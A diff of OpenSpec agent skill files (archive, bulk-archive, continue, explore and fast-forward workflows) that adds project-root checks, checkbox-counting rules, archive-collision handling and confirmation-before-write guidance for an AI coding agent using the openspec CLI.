**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
@@ -76,7 +87,11 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
Read the tasks file (typically `tasks.md`) to check for incomplete tasks.
|
||||
|
||||
Count tasks marked with `- [ ]` (incomplete) vs `- [x]` (complete).
|
||||
A checkbox is complete when its only content is `x` or `X`; spacing inside
|
||||
the brackets does not matter, so `- [ x]` counts as complete too. Every
|
||||
other marker is incomplete - `- [ ]`, an empty `- []`, and markers OpenSpec
|
||||
assigns no meaning to such as `- [~]` or `- [-]`. Never read an unfamiliar
|
||||
marker as complete.
|
||||
|
||||
**If incomplete tasks found:**
|
||||
- Display warning showing count of incomplete tasks
|
||||
@@ -94,17 +109,23 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
**If delta specs exist:**
|
||||
- Compare each delta spec with its corresponding main spec at `<planningHome.root>/openspec/specs/<capability-path>/spec.md` (use the store-aware `planningHome.root` from step 2, not a hardcoded repo path)
|
||||
- A missing main spec is **not automatically** "already synced". For a new capability, the main spec is an *output* of the sync, not an input:
|
||||
- If the delta has MODIFIED or RENAMED requirements, report that only ADDED requirements can create a new main spec and mark that capability as sync-blocked. Never invent a requirement that has no current version.
|
||||
- Otherwise, if the delta has only REMOVED requirements and the change's `.openspec.yaml` declares `retire_capabilities: true`, the capability is already retired: count it as already synced, warn that there is nothing left to remove, and do not recreate the main spec. Apply this rule both now and when verifying a completed sync.
|
||||
- Otherwise, if the delta has no ADDED requirements, report that no sync is possible and mark that capability as sync-blocked. For a REMOVED-only delta, warn that there is no main spec to remove from and leave the main-spec tree unchanged. `openspec archive` refuses the unmarked REMOVED-only case with `Spec must have at least one requirement`.
|
||||
- Otherwise, count the capability as needing sync and name it in the summary (`<capability-path>: new main spec will be created`). If the delta also has REMOVED requirements, warn that they will be ignored because there is no main spec to remove from. The sync creates the main spec from only the delta's ADDED requirements, exactly as `openspec archive` does.
|
||||
- Determine what changes would be applied (adds, modifications, removals, renames)
|
||||
- Show a combined summary before prompting
|
||||
- Continue assessing the remaining capabilities even when one is sync-blocked. Show a combined summary before prompting.
|
||||
|
||||
**Prompt options:**
|
||||
- If changes needed: "Sync now (recommended)", "Archive without syncing"
|
||||
- If already synced: "Archive now", "Sync anyway", "Cancel"
|
||||
- If any capability is sync-blocked: explain why and offer only "Archive without syncing", "Cancel"
|
||||
- Otherwise, if changes needed: "Sync now (recommended)", "Archive without syncing"
|
||||
- Otherwise, if already synced: "Archive now", "Sync anyway", "Cancel"
|
||||
|
||||
Route on the answer:
|
||||
- "Cancel" — stop, do not archive
|
||||
- "Archive without syncing" or "Archive now" — proceed to archive
|
||||
- "Sync now" or "Sync anyway" — sync, then verify (below)
|
||||
- "Sync now" or "Sync anyway" — sync, then verify (below). Do not start any sync while a capability is sync-blocked; explain the blocker and repeat the available choices.
|
||||
- Anything else — ask again rather than archiving
|
||||
|
||||
Before a selected sync writes any main spec, run
|
||||
@@ -118,7 +139,7 @@ Archive a completed change in the experimental workflow.
|
||||
|
||||
Then run the `openspec-sync-specs` workflow inline (agent-driven intelligent merge) for change '<name>', passing the delta spec analysis and the fetched specs-rule snapshot from above, and wait for it to finish. The inline sync must reuse that snapshot without fetching `specs` instructions again. Do not delegate it to a background task — step 5 would move `changeRoot` out from under a sync that is still reading it, leaving the change archived and the main specs never updated. If your agent can only run it by delegation, delegate synchronously and wait for the result.
|
||||
|
||||
Then re-run the comparison from the top of this step against every capability that has a delta spec in `artifactPaths.specs.existingOutputPaths` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
|
||||
Then re-run the comparison from the top of this step, including the explicitly retired, missing-spec case, against every capability that has a delta spec in `artifactPaths.specs.existingOutputPaths` — not only the ones the sync reports it touched. A successful sync leaves nothing left to apply, so each capability must now read as already synced:
|
||||
- ADDED requirements present
|
||||
- MODIFIED requirements carrying the scenario and description changes named in the delta, with their other scenarios intact
|
||||
- REMOVED requirements gone — and where this sync retired a capability (removed its last requirement, leaving `## Requirements` empty), its main spec deleted rather than left empty; a spec the sync deliberately kept and reported is also a match
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-bulk-archive-change
|
||||
description: Archive multiple completed changes at once. Use when archiving several parallel changes.
|
||||
description: Archive multiple completed OpenSpec changes at once. Use when archiving several parallel changes. Also use for a plural archive request - "openspec bulk-archive", "opsx bulk-archive", "openspec archive all", or "openspec archive these changes".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -15,6 +15,17 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
`<capability-path>` is the spec directory relative to `specs/` (for example, `user-auth` or `identity/user-auth`). Preserve the full path from each delta spec when resolving its main spec.
|
||||
|
||||
**Input**: None required (prompts for selection)
|
||||
@@ -70,7 +81,9 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
- Note which artifacts are `done` vs other states
|
||||
|
||||
b. **Task completion** - Read `artifactPaths.tasks.existingOutputPaths` from status JSON
|
||||
- Count `- [ ]` (incomplete) vs `- [x]` (complete)
|
||||
- Complete means the checkbox holds only `x`/`X`, ignoring spacing
|
||||
(`- [ x]` is complete); every other marker is incomplete (`- [ ]`,
|
||||
`- []`, and unfamiliar ones such as `- [~]` or `- [-]`)
|
||||
- If no tasks file exists, note as "No tasks"
|
||||
|
||||
c. **Delta specs** - Check `artifactPaths.specs.existingOutputPaths` from status JSON
|
||||
@@ -81,6 +94,14 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
lookup for that change; do not infer deltas from unrelated artifacts.
|
||||
- Evaluate this independently for every change, including mixed-schema
|
||||
batches where some schemas have no `specs` artifact.
|
||||
|
||||
d. **Archive target** - Compute each change's target name once and record it as that change's `<target-name>`
|
||||
- Use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<name>` (same rule as `openspec archive`)
|
||||
- Check whether `<planningHome.changesDir>/archive/<target-name>` already exists
|
||||
- If it exists, or another selected change resolves to the same target name, mark every such change `Blocked` with `Archive directory already exists`
|
||||
- A blocked change is never synced or moved: show it as `Blocked` in the step 6 table, leave it out of conflict resolution (resolve its conflicts using only the other changes), and record it as Failed in step 8d
|
||||
- Checking here, before any main spec is written, matches `openspec archive`: a collision found after sync would leave main specs rewritten for an archive that never happened
|
||||
|
||||
4. **Detect spec conflicts**
|
||||
|
||||
Build a map keyed by `<capability-path>`, the exact path relative to `specs/`:
|
||||
@@ -153,8 +174,8 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
Route on the answer by intent, not by exact label — you wrote these labels,
|
||||
so match what the user picked rather than the wording above:
|
||||
- "Cancel" — stop, do not archive. Report that nothing was archived and skip the remaining steps.
|
||||
- The archive-everything option — proceed with every selected change
|
||||
- The ready-only option — proceed with only the changes the step 6 table marks `Ready` or `Ready*`, and record the rest as Skipped in step 8d. If a `Ready*` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
|
||||
- The archive-everything option — proceed with every selected change that is not `Blocked`
|
||||
- The ready-only option — proceed with only the changes the step 6 table marks `Ready` or `Ready*`, and record the rest as Skipped in step 8d, except `Blocked` changes, which stay Failed with `Archive directory already exists`. If a `Ready*` change's conflict partner is skipped, re-derive that conflict's resolution using only the changes being archived.
|
||||
- Anything else — ask again rather than archiving
|
||||
|
||||
Before step 8 writes the first main spec or moves any change, fetch every
|
||||
@@ -199,13 +220,20 @@ This skill allows you to batch-archive changes, handling spec conflicts intellig
|
||||
|
||||
c. **Perform the archive**:
|
||||
|
||||
Target name: use the change name as-is when it already starts with a `YYYY-MM-DD-` prefix; otherwise prepend the current date as `YYYY-MM-DD-<name>` (same rule as `openspec archive`).
|
||||
Target name: use the `<target-name>` recorded for this change in step 3d, unchanged. Never recompute it here: a batch that runs past midnight would check one date in step 3 and move to another.
|
||||
|
||||
**Check if target already exists:**
|
||||
- Check again immediately before the move, even though step 3 already checked: the target can appear mid-batch
|
||||
- If yes: record this change as Failed with `Archive directory already exists`, leave `changeRoot` where it is, report any main specs step 8a already synced for it, and continue with the remaining changes
|
||||
- If no: move `changeRoot` to the archive directory
|
||||
|
||||
```bash
|
||||
mkdir -p "<planningHome.changesDir>/archive"
|
||||
mv "<changeRoot>" "<planningHome.changesDir>/archive/<target-name>"
|
||||
```
|
||||
|
||||
**Confirm the move did not nest:** `mv` exits 0 even when the target appeared after the check, moving the change *inside* it. If `<planningHome.changesDir>/archive/<target-name>/<change-directory-name>` now exists (the last path segment of `changeRoot`), move that directory back to `changeRoot` and record this change as Failed with `Archive directory already exists`. Never report it as archived.
|
||||
|
||||
d. **Track outcome** for each change:
|
||||
- Success: archived successfully
|
||||
- Failed: error during archive or spec verification (record error)
|
||||
@@ -320,8 +348,9 @@ No active changes found. Create a new change to get started.
|
||||
- Never archive after the user cancels the confirmation — a cancelled batch archives nothing
|
||||
- Track and report all outcomes (success/skip/fail)
|
||||
- Preserve .openspec.yaml when moving to archive
|
||||
- Archive directory target uses current date: YYYY-MM-DD-<name>; a name that already starts with a `YYYY-MM-DD-` prefix is used as-is (never stack a second date)
|
||||
- Archive directory target uses the current date, computed once in step 3d and reused at the move: YYYY-MM-DD-<name>; a name that already starts with a `YYYY-MM-DD-` prefix is used as-is (never stack a second date)
|
||||
- If archive target exists, fail that change but continue with others
|
||||
- Check every archive target in step 3, before the first main-spec write; a change whose target exists is never synced or moved
|
||||
- If sync is requested, run the `openspec-sync-specs` workflow inline (agent-driven) for each change with included delta specs
|
||||
- Carry the per-delta `includedDeltas` and `excludedDeltas` decisions into execution; sync and verify only included deltas
|
||||
- Report every excluded delta as `sync skipped` without treating the archive itself as skipped
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-continue-change
|
||||
description: Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow.
|
||||
description: Continue working on an OpenSpec change by creating the next artifact. Use when the user wants to progress their change, create the next artifact, or continue their workflow. Also use when the user says "openspec continue" or "opsx continue".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Continue working on a change by creating the next artifact.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
**Input**: Optionally specify a change name. If omitted, check if it can be inferred from conversation context. If vague or ambiguous you MUST prompt for available changes.
|
||||
|
||||
**Steps**
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-explore
|
||||
description: Enter explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements. Use when the user wants to think through something before or during a change.
|
||||
description: Enter OpenSpec explore mode - a thinking partner for exploring ideas, investigating problems, and clarifying requirements in a project that uses OpenSpec. Use when the user wants to think through something before or during an OpenSpec change. Also use when the user says "openspec explore" or "opsx explore".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -11,12 +11,23 @@ metadata:
|
||||
|
||||
Enter explore mode. Think deeply. Visualize freely. Follow the conversation wherever it goes.
|
||||
|
||||
**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, remind them to exit explore mode first and create a change proposal. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. For a new change, scaffold it first as described below.
|
||||
**IMPORTANT: Explore mode is for thinking, not implementing.** You may read files, search code, investigate the codebase, and run read-only commands or tools without confirmation, but you must NEVER write code or implement features. If the user asks you to implement something, do not start it here: say that explore mode does not implement, and point them at `/openspec-propose`, which turns the discussion into a change. The work happens from that change, never from explore mode. You MAY create or update OpenSpec change artifacts (proposals, designs, specs) within a confirmed scope—that's capturing thinking, not implementing. Answering design or clarifying questions is never consent to write. Before the first write-capable action, name the artifacts or files you would change and what you would do, ask a direct yes/no question, and wait for the user's confirmation in a separate message. Confirmation covers only the scope you described; ask again before expanding it. An explicit request from the user to capture the exploration as a new change is itself that confirmation, covering the change and the change artifacts the request names; scaffold it first as described below.
|
||||
|
||||
**This is a stance, not a workflow.** There are no fixed steps, no required sequence, no mandatory outputs. You're a thinking partner helping the user explore.
|
||||
|
||||
**Store selection:** If the user names a store (a store is a standalone OpenSpec repo registered on this machine) or the work lives in one, run `openspec store list --json` to discover registered store ids, then pass `--store <id>` on the commands that read or write specs and changes (`new change`, `status`, `instructions`, `list`, `show`, `validate`, `archive`, `doctor`, `context`, `schemas`, `view`). Once selected, treat `--store <id>` as sticky for the rest of the workflow. Every unscoped example of those commands below is shorthand: before running it, append the flag. For example, run `openspec status --change "<name>" --json --store "<id>"`, not the unscoped form shown below. Other commands do not take the flag. Hints printed by commands already carry the flag; keep it on follow-ups. Without a store, commands act on the nearest local `openspec/` root.
|
||||
|
||||
**Project check:** These steps expect a project that already uses OpenSpec. Before the first step that writes anything (`new change`, `archive`, `sync specs`, or authoring an artifact file), confirm the project has a root: run `openspec list --json` (with `--store <id>` when a store is selected, since the store is then the root) and read `root`. A root object means the project is set up. `"root": null` means it is not - there is no `openspec/` directory here, and a write such as `openspec new change` would create one as a side effect. The command also exits non-zero, which is that answer rather than a broken CLI, so read the JSON instead of retrying or working around it.
|
||||
|
||||
One `"root": null` is not about setup: when a `status` error message starts with `Declared in` or `Invalid store declaration in` and names this project's `openspec/config.yaml` (or `config.yml`), the project does use OpenSpec through a store it declares, which this machine cannot resolve (the store is not registered, or the `store:` line is malformed). Do not treat it as uninitialized and skip the branches below: stop before writing and show the user that error's `message` and `fix`.
|
||||
|
||||
Otherwise, with no root, what happens next depends on how this workflow was reached:
|
||||
|
||||
- **Auto-selected**: you chose this workflow yourself, without the user naming OpenSpec, naming this skill, or running its slash command. Stop using OpenSpec and answer the request normally, as you would with no OpenSpec installed. Do not ask them to set anything up and do not mention OpenSpec setup.
|
||||
- **Explicit OpenSpec request**: the user named OpenSpec, named this skill, or ran its slash command. Stop before writing and ask how to proceed: set this project up (`openspec init`), target a store they already have (`--store <id>`), or continue without OpenSpec for this request. Wait for their answer.
|
||||
|
||||
In both branches, never create the root as a side effect: do not run `openspec init` until the user asks for it, do not hand-create `openspec/` files, and do not let a command create it.
|
||||
|
||||
---
|
||||
|
||||
## The Stance
|
||||
@@ -30,6 +41,30 @@ Enter explore mode. Think deeply. Visualize freely. Follow the conversation wher
|
||||
|
||||
---
|
||||
|
||||
## Planning a Change
|
||||
|
||||
When the user is planning a change, guide them toward shared understanding with focused discovery questions. For open-ended discussion, follow the conversation without imposing an interview or a required output.
|
||||
|
||||
Before asking a factual question, follow the context discovery below and inspect relevant OpenSpec artifacts, source, tests, docs, and configuration. Do not ask the user to repeat facts you can verify. Summarize relevant findings without reproducing private context or rules. If evidence is missing, conflicting, or inaccessible, state that limitation and ask only for the clarification needed to proceed.
|
||||
|
||||
- **Follow dependencies** - Resolve the next blocking decision before its dependent details. For example, clarify the user's outcome and scope before choosing an API or data model. Revisit downstream assumptions when an earlier answer changes. Skip branches that do not matter to this goal.
|
||||
- **Keep questions focused** - Ask one focused question at a time, and briefly explain why it matters and which decision it unlocks. Batch questions only if the user asks for a batch; keep them small and group related decisions.
|
||||
- **Offer grounded recommendations** - When evidence supports a recommendation, state your preferred option and why it fits the user's goals, with alternatives and their tradeoffs when useful. Do not invent intent, priorities, or external constraints: ask the user when only they can answer. Avoid a fixed question format.
|
||||
- **Keep a conversational record** - Track decisions in the conversation, not in files. Separate confirmed decisions from proposed defaults and unresolved questions. Silence is not acceptance. Accepting an answer or a batch of recommendations is not permission to write. Keep file-write confirmation separate from discovery questions and follow the guardrails below.
|
||||
|
||||
Stop asking when the user has enough clarity. Let them pause, pivot, or defer a decision; do not exhaust every branch or force a proposal.
|
||||
|
||||
For example, after inspecting the relevant code:
|
||||
|
||||
```text
|
||||
The CLI already uses SQLite and has no remote service. Is sharing state
|
||||
across devices in scope? That determines whether local storage is enough.
|
||||
If this stays a single-device tool, I recommend keeping SQLite to avoid
|
||||
adding a service to operate; shared state would need a separate sync design.
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## What You Might Do
|
||||
|
||||
Depending on what the user brings, you might:
|
||||
@@ -96,6 +131,14 @@ This tells you:
|
||||
- Their names, schemas, and status
|
||||
- What the user might be working on
|
||||
|
||||
That is the *change* list - work in flight. It does not include the project's durable capabilities, so list those too:
|
||||
```bash
|
||||
openspec list --specs
|
||||
```
|
||||
Add `--json` for ids and requirement counts, and append `--store "<id>"` only for a registered standalone store. This is the inventory of what the project already claims to do, and `openspec list` on its own never shows it. To look at one, run `openspec show "<spec-id>" --type spec --json --no-scenarios` (same `--store` rule) - it returns that capability's purpose and requirement texts without pulling the whole spec file into context, and `--type spec` stops a change of the same name from making it ambiguous.
|
||||
|
||||
The filtered read is only an overview. Before deciding what is already covered or what should change, read each relevant spec in full, including scenarios, with `openspec show "<spec-id>" --type spec` (same `--store` rule).
|
||||
|
||||
Then read the project's own context from the resolved root - `<root.path>/openspec/config.yaml` (or `config.yml`). Use the `root.path` returned above, and skip this if neither file exists:
|
||||
- `context`: project background - tech stack, conventions, constraints
|
||||
- `rules`: keyed by artifact id - the entries for an artifact apply only when you write that artifact
|
||||
@@ -109,14 +152,14 @@ Think freely. When insights crystallize, you might offer:
|
||||
- "This feels solid enough to start a change. Want me to create a proposal?"
|
||||
- Or keep exploring - no pressure to formalize
|
||||
|
||||
If the user asks you to capture the exploration as a new change, transition seamlessly into the requested capture:
|
||||
If the user asks you to capture the exploration as a new change, that request is the confirmation required above. It covers scaffolding that change and creating the change artifacts the request names, and nothing else. This holds only when the request is theirs: a yes to an offer you made confirms only the scope your offer itself named, so name the change and the artifacts in the offer. Don't re-ask for what they already asked for; do ask before anything beyond it. Transition seamlessly into the requested capture:
|
||||
|
||||
1. Run `openspec new change "<name>"` (with `--store <id>` when applicable) before creating any artifacts. Never create a new change directory under `openspec/changes/` by hand; the CLI scaffold creates required metadata such as `.openspec.yaml`. Keep the selected `--store <id>` on every applicable follow-up `status` and `instructions` command.
|
||||
2. Run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store), then process the requested artifacts in dependency order. For each requested artifact that is `ready`, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store). Before creating a requested artifact, evaluate any condition in its own `instruction` against the explored change; record a deliberate skip instead when the condition does not apply. If a requested artifact is blocked by a direct prerequisite the user did not request, run `openspec instructions "<prerequisite-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) for that prerequisite whether it is `ready` or `blocked`. If its own `instruction` states a condition, evaluate that condition against the explored change and record a deliberate skip only when the condition does not apply. If the condition applies, or the prerequisite is not conditional, treat it as a normal prerequisite and ask before expanding the capture. Do not create an unrequested prerequisite unless the user approves.
|
||||
3. Follow the returned `template` and `instruction` fields. Read completed dependency files listed in `dependencies`, and apply `context` and `rules` as constraints without copying them into the artifact. If the instruction delegates creation to a specific skill or command, invoke it; otherwise write the artifact to `resolvedOutputPath`, using the instruction to choose a concrete path when it is a glob. Verify that the selected concrete output exists.
|
||||
4. After creating each artifact, re-run `openspec status --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) and continue until every requested artifact is `done`, `skipped`, or was deliberately skipped because its own `instruction` stated a condition that did not apply. Tell the user about a deliberate conditional skip, remember it, and do not reconsider it. Dependencies are enablers, not gates: if a requested artifact is still `blocked` only because you deliberately skipped a conditional prerequisite, run `openspec instructions "<artifact-id>" --change "<name>" --json` (append the confirmed `--store "<id>"` only for a registered standalone store) despite the blocked status, then create it using step 3 only when those recorded conditional skips are its sole missing dependencies. If a requested artifact is blocked by a prerequisite the user did not ask to capture and cannot be conditionally skipped, explain that dependency and ask before expanding the capture.
|
||||
|
||||
Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status.
|
||||
Capture the artifact(s) the user requested without asking them to invoke another workflow command. If they asked only to start a change, stop after scaffolding and show its status. When the requested capture is done, stop there and name where the work continues: `/openspec-propose` writes the remaining planning artifacts, and `/openspec-apply-change` implements the change once tasks exist. Capturing artifacts never starts implementing them.
|
||||
|
||||
### When a change exists
|
||||
|
||||
@@ -272,7 +315,7 @@ You: That changes everything.
|
||||
|
||||
There's no required ending. Discovery might:
|
||||
|
||||
- **Flow into a proposal**: "Ready to start? I can create a change proposal."
|
||||
- **Flow into a proposal**: "Ready to start? Run `/openspec-propose` and this becomes a change."
|
||||
- **Result in artifact updates**: "Updated design.md with these decisions"
|
||||
- **Just provide clarity**: User has what they need, moves on
|
||||
- **Continue later**: "We can pick this up anytime"
|
||||
@@ -289,7 +332,7 @@ When it feels like things are crystallizing, you might summarize:
|
||||
**Open questions**: [if any remain]
|
||||
|
||||
**Next steps** (if ready):
|
||||
- Create a change proposal
|
||||
- Turn this into a change: `/openspec-propose`
|
||||
- Keep exploring: just keep talking
|
||||
```
|
||||
|
||||
@@ -299,11 +342,11 @@ But this summary is optional. Sometimes the thinking IS the value.
|
||||
|
||||
## Guardrails
|
||||
|
||||
- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or `openspec/config.yaml` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not.
|
||||
- **Don't implement** - Never write code or implement features. Workflow configuration counts too: creating or editing schemas, templates, or `openspec/config.yaml` is a change, not thinking. Creating or updating OpenSpec change artifacts within the confirmed scope is fine, writing anything else is not. When the user is ready to build, name the handoff rather than starting: `/openspec-propose` turns the discussion into a change, and the work happens there.
|
||||
- **Don't fake understanding** - If something is unclear, dig deeper
|
||||
- **Don't rush** - Discovery is thinking time, not task time
|
||||
- **Don't force structure** - Let patterns emerge naturally
|
||||
- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including `openspec new change` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write.
|
||||
- **Don't auto-capture** - Offer to save insights, don't just do it. Read-only commands and tools need no confirmation. Before the first write-capable action—including `openspec new change` or another command that writes files—name the artifacts or files and proposed changes, ask a direct yes/no question, and wait for explicit confirmation in a separate user message. That confirmation covers only the described scope; ask again before expanding it. Answers to design or clarifying questions are never consent to write. That rule governs `openspec new change` whenever you are the one proposing the capture; the user's own capture request is the exception, handled in the capture transition above.
|
||||
- **Don't manually scaffold changes** - Never create a new change directory under `openspec/changes/` by hand. Always use `openspec new change "<name>"` (with `--store <id>` when applicable) so required metadata such as `.openspec.yaml` is created before writing artifacts.
|
||||
- **Do visualize** - A good diagram is worth many paragraphs
|
||||
- **Do explore the codebase** - Ground discussions in reality
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
---
|
||||
name: openspec-ff-change
|
||||
description: Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually.
|
||||
description: Fast-forward through OpenSpec artifact creation. Use when the user wants to quickly create all artifacts needed for implementation without stepping through each one individually. Also use when the user says "openspec ff" or "opsx ff".
|
||||
allowed-tools: Bash(openspec:*)
|
||||
license: MIT
|
||||
compatibility: Requires openspec CLI.
|
||||
@@ -13,6 +13,17 @@ Fast-forward through artifact creation - generate everything needed to start imp
|
||||
|
||||
